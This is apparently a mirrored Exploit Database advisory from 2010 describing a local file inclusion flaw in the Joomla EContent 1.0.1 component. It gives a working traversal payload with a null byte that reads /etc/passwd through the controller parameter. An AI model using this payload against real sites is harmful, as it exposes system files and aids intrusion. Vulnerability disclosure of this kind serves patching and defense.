Joomla! Component EContent – Local File Inclusion

• Exploit Database
• 11 阅读

• 作者： Chip d3 bi0s
  日期： 2010-04-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11996/

• ---------------------------------------------------------------------------------
  Joomla Component EContent Local File Inclusion
  ---------------------------------------------------------------------------------
  
  Author		: Chip D3 Bi0s
  Group		: LatinHackTeam
  Email & msn	: chipdebios@gmail.com
  Date		: 31 March 2010
  Critical Lvl	: Moderate
  Impact		: Exposure of sensitive information
  Where		: From Remote
  ---------------------------------------------------------------------------
  
  Affected software description:
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  
  Application	: EContent
  version		: 1.0.1
  Developer	: E-Content
  website		: http://www.econtentsite.com/
  License		: GPLtype: Non-Commercial
  Date Added	: 24 March 2010
  Download	: http://www.econtentsite.com/
  
  
  
  Description :
  
  If you are looking a way to add new/fresh content to your Joomla website,
  without having to write a new article everyday, then E-Content Joomla
  Component is the solution for you!
  
  As we know articles is very important for business, especially for Internet
  Marketing Business. You need to continually write unique and quality articles
  to keep the attention of visitors and search engines.
  
  E-Content allows you to automatically collect RSS feed, HTML page content items
  and have each item inserted as an Joomla article in the section and category
  you define. The content of the article will vary based on the specific page you
  select.
  
  
  --------------
  file error	: components/com_econtent/econtent.php
  
  how to exploit
  
  http://127.0.0.1/index.php?option=com_econtent&controller=../../../../../../../../../../etc/passwd%00
  
  ------------------------
  
  
  +++++++++++++++++++++++++++++++++++++++
  [!] Produced in South America
  +++++++++++++++++++++++++++++++++++++++